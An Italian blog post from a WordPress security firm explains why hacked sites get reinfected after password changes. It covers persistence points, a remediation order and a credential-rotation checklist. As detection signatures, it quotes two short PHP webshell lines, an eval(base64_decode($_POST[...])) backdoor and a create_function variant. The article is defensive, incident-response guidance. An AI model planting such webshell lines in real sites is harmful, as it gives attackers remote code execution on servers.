Tutti gli articoli
Bonifica malware6 min di letturaTeam WPsec.it

Hai cambiato tutte le password e il sito si è reinfettato? Il problema non sono le password

Cambiare le password dopo un hack è necessario ma quasi mai sufficiente. Perché le backdoor bypassano l'autenticazione, dove si nascondono i punti di persistenza, e la checklist completa di rotazione credenziali che funziona.

Condividi
Hai cambiato tutte le password e il sito si è reinfettato? Il problema non sono le password

È la telefonata più frequente che riceviamo: "Ho pulito i file, ho cambiato tutte le password, e tre giorni dopo il malware era di nuovo lì. Come è possibile?"

È possibile perché la password è un confine d'ingresso, non un meccanismo di permanenza. Un attaccante serio non vuole riconquistare il tuo sito ogni volta: costruisce una porta secondaria che ignora completamente il sistema di login. Cambiare le password davanti a una backdoor è come cambiare la serratura della porta principale mentre qualcuno vive nel seminterrato.

Anatomia dei cinque punti di persistenza

Quando analizziamo un sito reinfettato, cerchiamo in questi cinque posti, in quest'ordine.

1. Webshell nei filesystem

File PHP con nomi banali (wp-conflg.php con la L al posto dell'I, cache.php, session.php) sepolti in wp-includes, wp-content/uploads, o nelle directory dei temi. Alcuni esempi reali di firme che troviamo:

// eval-basedo, offuscata
eval(base64_decode($_POST['z0']));
// create_function rimossa dal core ma ancora viva nei plugin vecchi
$f = create_function('', base64_decode($code)); $f();

Il test rapido: wp core verify-checksums elenca i file del core modificati; per plugin e temi serve un confronto con i sorgenti originali. Un webshell può vivere anche solo 2 KB in mezzo a 40 MB di upload.

2. Utenti amministratori fantasma

L'attaccante crea un utente admin con nome anonimo. I casi furbi nascondono l'utente manipolando la query degli utenti admin (hook su pre_user_query nel tema), così nella schermata Utenti sembra che tutto sia normale. Il controllo affidabile è da WP-CLI:

wp user list --role=administrator --format=csv

e confronto manuale con ciò che ti aspetti. Conta gli amministratori a memoria: se il numero non torna, c'è un problema.

3. Task pianificati (cron)

WordPress ha un cron interno (wp cron event list) e il server ha il suo crontab. Entrambi possono ospitare un task che ogni notte riscarica il malware da un server esterno se non presente. È il motivo per cui tante pulizie "manuali" falliscono: si cancellano i file infetti, ma il ricaricatore automatico li rimette al posto giusto alle 3 di notte.

4. Database contaminato

Il database è il punto cieco di chi fa pulizia solo sui file:

  • autologin backdoor: un utente con chiave di sessione preimpostata nella tabella users/meta
  • malware negli option value: script iniettati dentro widget attivi, opzioni tema, hook memorizzati
  • redirect nel .htaccess rigenerato: alcune famiglie scrivono regole di redirect mobile che WordPress stesso ricrea se la causa a monte (plugin o tema infetto) resta attiva

5. Sessioni e chiavi di firma

Come scritto sopra in sintesi: le salt keys di wp-config.php firmano i cookie di sessione. Se l'attaccante le ha lette, possiede cookie validi che sopravvivono alla rotazione delle password. Rigenerarle forza il logout globale di tutti, attaccanti inclusi.

La sequenza di bonifica corretta

La rotazione credenziali va inserita nell'ordine giusto, altrimenti è tempo sprecato:

OrdineAzionePerché in questo punto
1Backup forense completo (file + DB + log)Prima di distruggere le evidenze
2Identificazione vettore dai logSapere come è entrato
3Rimozione backdoor e persistenzaFile, utenti, cron, database
4Ora sì: rotazione totale credenziali + salt keysSu un ambiente già pulito
5Aggiornamento di core, plugin, temiChiudere il buco originale
6Monitoraggio 30 giorniVerificare che non torni nulla

Fare il passo 4 prima del 3 significa consegnare le nuove password a un avversario che ha ancora occhi nella tua casa. Letteralmente: molte webshell permettono di leggere wp-config.php, quindi le nuove credenziali del database finirebbero immediatamente in mano all'attaccante.

Le credenziali che quasi nessuno ruota

Facciamo la lista completa, perché la parola "tutte" nelle guide online di solito significa "quattro":

  • password degli utenti amministratori WordPress (tutti, non solo il tuo)
  • password del database MySQL (da aggiornare in wp-config.php)
  • credenziali FTP/SFTP e SSH dell'hosting
  • API key dei servizi collegati: gateway di pagamento, SMTP per l'invio email, CDN, servizi di backup
  • token di integrazione (Google Search Console, Analytics, social autoposting)
  • credenziali del pannello hosting e del DNS del dominio

Su questa ultima riga vale una nota seria: se l'attaccante ha accesso al DNS del dominio, può reindirizzare il traffico o emettere certificati validi indipendentemente dallo stato del tuo WordPress. È il livello con la conseguenza potenzialmente peggiore e la frequenza di controllo più bassa.

Come capire se hai chiuso tutto

Non esiste una certezza assoluta in sicurezza, ma esiste una verifica ragionevole: dopo la bonifica completa, 30 giorni con queste tre condizioni:

  • checksum del core stabili giorno per giorno
  • nessun nuovo file PHP nelle directory dove non devono esserci (uploads in primis)
  • log di accesso senza POST verso file PHP anomali

Solo allora puoi dichiarare l'incidente chiuso. Se vuoi vedere come strutturiamo questo processo end-to-end, c'è la guida sul metodo di bonifica che usiamo e la pagina di servizio sulla rimozione malware WordPress con prezzi fissi e garanzia anti-reinfezione di 90 giorni. Se invece il tuo problema è prevenire il prossimo episodio, parti dalla guida all'hardening WordPress.

Quanto velocemente si reinfetta un sito se resta una backdoor?

Dipende dall'attaccante: con un ricaricatore automatico (cron) la reinfezione arriva in ore; con accessi manuali, giorni o settimane. Una reinfezione oltre i 30 giorni suggerisce persistenza non rimossa o credenziali non ruotate.

Posso trovare le backdoor io stesso con un semplice scan antivirus?

Gli scanner cercano pattern noti e trovano gran parte dei malware comuni, ma le webshell custom offuscate sfuggono ai rilevamenti basati su firme. Il confronto con sorgenti ufficiali e l'analisi dei log restano insostituibili.

Le salt keys dove si cambiano esattamente?

In wp-config.php, nelle costanti AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY e le quattro corrispondenti SALT. Generane di nuove con https://api.wordpress.org/secret-key/1.1/salt/ e sostituisci le vecchie. Tutti gli utenti verranno disconnessi.

Devo disinstallare e reinstallare WordPress da zero?

Sostituire core, plugin e temi con copie fresche dai repository ufficiali è parte della nostra procedura standard. Ma attenzione: la reinstallazione senza rimozione delle persistenze (utenti, cron, database) produce siti puliti che si reinfettano identicamente.

Pubblicato il

Condividi

Scritto dal team WPsec.it

Team WPsec.it

Bonifica malware, hardening, performance e manutenzione WordPress.

Guide per sintomo

Il tuo sito ha un sintomo preciso? Parti dalla guida giusta.

Ogni compromissione WordPress lascia segnali diversi. Queste guide spiegano cosa fare nelle prime ore, cosa non toccare e quando serve una bonifica con analisi del vettore d'ingresso.

Continua a leggere

Articoli correlati.

Sito pulito non è sito sicuro: la differenza tra rimozione e bonifica
Bonifica malware10 agosto 2026

Sito pulito non è sito sicuro: la differenza tra rimozione e bonifica

Togliere i file infetti e bonificare un sito sono due operazioni diverse, con esiti opposti nel tempo. Come funziona la catena ingresso-persistenza-obiettivo di un attacco WordPress, e perché solo la visione completa evita le reinfette.

5 minTeam WPsec.it